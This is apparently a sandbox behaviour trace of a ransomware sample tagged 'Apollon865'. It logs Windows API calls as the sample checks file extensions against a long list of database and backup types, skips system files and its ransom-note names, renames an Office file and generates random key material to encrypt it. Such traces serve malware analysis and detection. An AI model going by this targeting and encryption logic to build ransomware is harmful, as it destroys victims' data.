	[0083.208] lstrlenW (lpString="hdb") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.208] lstrlenW (lpString="his") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.208] lstrlenW (lpString="ib") returned 2
	[0083.208] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.208] lstrlenW (lpString="idb") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.208] lstrlenW (lpString="ihx") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.208] lstrlenW (lpString="itdb") returned 4
	[0083.208] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.208] lstrlenW (lpString="itw") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.208] lstrlenW (lpString="jet") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.208] lstrlenW (lpString="jtx") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.208] lstrlenW (lpString="kdb") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.209] lstrlenW (lpString="kexi") returned 4
	[0083.209] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.209] lstrlenW (lpString="kexic") returned 5
	[0083.209] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.209] lstrlenW (lpString="kexis") returned 5
	[0083.209] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.209] lstrlenW (lpString="lgc") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.209] lstrlenW (lpString="lwx") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.209] lstrlenW (lpString="maf") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.209] lstrlenW (lpString="maq") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.209] lstrlenW (lpString="mar") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.209] lstrlenW (lpString="marshal") returned 7
	[0083.209] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.209] lstrlenW (lpString="mas") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.209] lstrlenW (lpString="mav") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.209] lstrlenW (lpString="maw") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.209] lstrlenW (lpString="mdbhtml") returned 7
	[0083.209] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.209] lstrlenW (lpString="mdn") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.209] lstrlenW (lpString="mdt") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.209] lstrlenW (lpString="mfd") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.209] lstrlenW (lpString="mpd") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.209] lstrlenW (lpString="mrg") returned 3
	[0083.209] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.210] lstrlenW (lpString="mud") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.210] lstrlenW (lpString="mwb") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.210] lstrlenW (lpString="myd") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.210] lstrlenW (lpString="ndf") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.210] lstrlenW (lpString="nnt") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.210] lstrlenW (lpString="nrmlib") returned 6
	[0083.210] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.210] lstrlenW (lpString="ns2") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.210] lstrlenW (lpString="ns3") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.210] lstrlenW (lpString="ns4") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.210] lstrlenW (lpString="nsf") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.210] lstrlenW (lpString="nv") returned 2
	[0083.210] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.210] lstrlenW (lpString="nv2") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.210] lstrlenW (lpString="nwdb") returned 4
	[0083.210] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.210] lstrlenW (lpString="nyf") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.210] lstrlenW (lpString="odb") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.210] lstrlenW (lpString="odb") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.210] lstrlenW (lpString="oqy") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.210] lstrlenW (lpString="ora") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.210] lstrlenW (lpString="orx") returned 3
	[0083.210] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.211] lstrlenW (lpString="owc") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.211] lstrlenW (lpString="p96") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.211] lstrlenW (lpString="p97") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.211] lstrlenW (lpString="pan") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.211] lstrlenW (lpString="pdb") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.211] lstrlenW (lpString="pdm") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.211] lstrlenW (lpString="pnz") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.211] lstrlenW (lpString="qry") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.211] lstrlenW (lpString="qvd") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.211] lstrlenW (lpString="rbf") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.211] lstrlenW (lpString="rctd") returned 4
	[0083.211] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.211] lstrlenW (lpString="rod") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.211] lstrlenW (lpString="rodx") returned 4
	[0083.211] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.211] lstrlenW (lpString="rpd") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.211] lstrlenW (lpString="rsd") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.211] lstrlenW (lpString="sas7bdat") returned 8
	[0083.211] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.211] lstrlenW (lpString="sbf") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.211] lstrlenW (lpString="scx") returned 3
	[0083.211] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.211] lstrlenW (lpString="sdb") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.212] lstrlenW (lpString="sdc") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.212] lstrlenW (lpString="sdf") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.212] lstrlenW (lpString="sis") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.212] lstrlenW (lpString="spq") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.212] lstrlenW (lpString="te") returned 2
	[0083.212] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.212] lstrlenW (lpString="teacher") returned 7
	[0083.212] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.212] lstrlenW (lpString="tmd") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.212] lstrlenW (lpString="tps") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.212] lstrlenW (lpString="trc") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.212] lstrlenW (lpString="trc") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.212] lstrlenW (lpString="trm") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.212] lstrlenW (lpString="udb") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.212] lstrlenW (lpString="udl") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.212] lstrlenW (lpString="usr") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.212] lstrlenW (lpString="v12") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.212] lstrlenW (lpString="vis") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.212] lstrlenW (lpString="vpd") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.212] lstrlenW (lpString="vvv") returned 3
	[0083.212] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.212] lstrlenW (lpString="wdb") returned 3
	[0083.213] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.213] lstrlenW (lpString="wmdb") returned 4
	[0083.213] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.213] lstrlenW (lpString="wrk") returned 3
	[0083.213] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.213] lstrlenW (lpString="xdb") returned 3
	[0083.213] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.213] lstrlenW (lpString="xld") returned 3
	[0083.213] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.213] lstrlenW (lpString="xmlff") returned 5
	[0083.213] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.213] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.Apollon865") returned 82
	[0083.213] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.214] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.214] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=260960) returned 1
	[0083.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.215] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.216] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.216] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.216] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fe60, lpName=0x0) returned 0x15c
	[0083.217] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3fe60) returned 0x120000
	[0083.252] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.253] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.253] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0083.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0083.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.254] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0083.256] CloseHandle (hObject=0x15c) returned 1
	[0083.256] CloseHandle (hObject=0x9c) returned 1
	[0083.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.258] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".") returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="..") returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="windows") returned -1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="temp") returned -1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="boot") returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0083.258] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0083.258] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned 71
	[0083.258] lstrcpyW (in: lpString1=0x119e670, lpString2="OUTLLIBR.DLL.trx_dll" | out: lpString1="OUTLLIBR.DLL.trx_dll") returned="OUTLLIBR.DLL.trx_dll"
	[0083.258] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0083.258] lstrlenW (lpString="Apollon865") returned 10
	[0083.258] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0083.258] lstrlenW (lpString=".dll") returned 4
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".dll") returned 1
	[0083.258] lstrlenW (lpString=".lnk") returned 4
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0083.258] lstrlenW (lpString=".ini") returned 4
	[0083.258] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".ini") returned 1
	[0083.259] lstrlenW (lpString=".sys") returned 4
	[0083.259] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".sys") returned 1
	[0083.259] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0083.259] lstrlenW (lpString="bak") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.259] lstrlenW (lpString="ba_") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.259] lstrlenW (lpString="dbb") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.259] lstrlenW (lpString="vmdk") returned 4
	[0083.259] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.259] lstrlenW (lpString="rar") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.259] lstrlenW (lpString="zip") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.259] lstrlenW (lpString="tgz") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.259] lstrlenW (lpString="vbox") returned 4
	[0083.259] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.259] lstrlenW (lpString="vdi") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.259] lstrlenW (lpString="vhd") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.259] lstrlenW (lpString="vhdx") returned 4
	[0083.259] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.259] lstrlenW (lpString="avhd") returned 4
	[0083.259] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.259] lstrlenW (lpString="db") returned 2
	[0083.259] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.259] lstrlenW (lpString="db2") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.259] lstrlenW (lpString="db3") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.259] lstrlenW (lpString="dbf") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.259] lstrlenW (lpString="mdf") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.259] lstrlenW (lpString="mdb") returned 3
	[0083.259] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.260] lstrlenW (lpString="sql") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.260] lstrlenW (lpString="sqlite") returned 6
	[0083.260] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.260] lstrlenW (lpString="sqlite3") returned 7
	[0083.260] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.260] lstrlenW (lpString="sqlitedb") returned 8
	[0083.260] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.260] lstrlenW (lpString="xml") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.260] lstrlenW (lpString="$er") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.260] lstrlenW (lpString="4dd") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.260] lstrlenW (lpString="4dl") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.260] lstrlenW (lpString="^^^") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.260] lstrlenW (lpString="abs") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.260] lstrlenW (lpString="abx") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.260] lstrlenW (lpString="accdb") returned 5
	[0083.260] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.260] lstrlenW (lpString="accdc") returned 5
	[0083.260] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.260] lstrlenW (lpString="accde") returned 5
	[0083.260] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.260] lstrlenW (lpString="accdr") returned 5
	[0083.260] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.260] lstrlenW (lpString="accdt") returned 5
	[0083.260] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.260] lstrlenW (lpString="accdw") returned 5
	[0083.260] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.260] lstrlenW (lpString="accft") returned 5
	[0083.260] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.260] lstrlenW (lpString="adb") returned 3
	[0083.260] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.260] lstrlenW (lpString="adb") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.261] lstrlenW (lpString="ade") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.261] lstrlenW (lpString="adf") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.261] lstrlenW (lpString="adn") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.261] lstrlenW (lpString="adp") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.261] lstrlenW (lpString="alf") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.261] lstrlenW (lpString="ask") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.261] lstrlenW (lpString="btr") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.261] lstrlenW (lpString="cat") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.261] lstrlenW (lpString="cdb") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.261] lstrlenW (lpString="ckp") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.261] lstrlenW (lpString="cma") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.261] lstrlenW (lpString="cpd") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.261] lstrlenW (lpString="dacpac") returned 6
	[0083.261] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.261] lstrlenW (lpString="dad") returned 3
	[0083.261] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.261] lstrlenW (lpString="dadiagrams") returned 10
	[0083.261] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0083.261] lstrlenW (lpString="daschema") returned 8
	[0083.261] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.261] lstrlenW (lpString="db-journal") returned 10
	[0083.261] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0083.261] lstrlenW (lpString="db-shm") returned 6
	[0083.261] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.262] lstrlenW (lpString="db-wal") returned 6
	[0083.262] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.262] lstrlenW (lpString="dbc") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.262] lstrlenW (lpString="dbs") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.262] lstrlenW (lpString="dbt") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.262] lstrlenW (lpString="dbv") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.262] lstrlenW (lpString="dbx") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.262] lstrlenW (lpString="dcb") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.262] lstrlenW (lpString="dct") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.262] lstrlenW (lpString="dcx") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.262] lstrlenW (lpString="ddl") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.262] lstrlenW (lpString="dlis") returned 4
	[0083.262] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.262] lstrlenW (lpString="dp1") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.262] lstrlenW (lpString="dqy") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.262] lstrlenW (lpString="dsk") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.262] lstrlenW (lpString="dsn") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.262] lstrlenW (lpString="dtsx") returned 4
	[0083.262] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.262] lstrlenW (lpString="dxl") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.262] lstrlenW (lpString="eco") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.262] lstrlenW (lpString="ecx") returned 3
	[0083.262] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.263] lstrlenW (lpString="edb") returned 3
	[0083.263] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.263] lstrlenW (lpString="epim") returned 4
	[0083.263] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
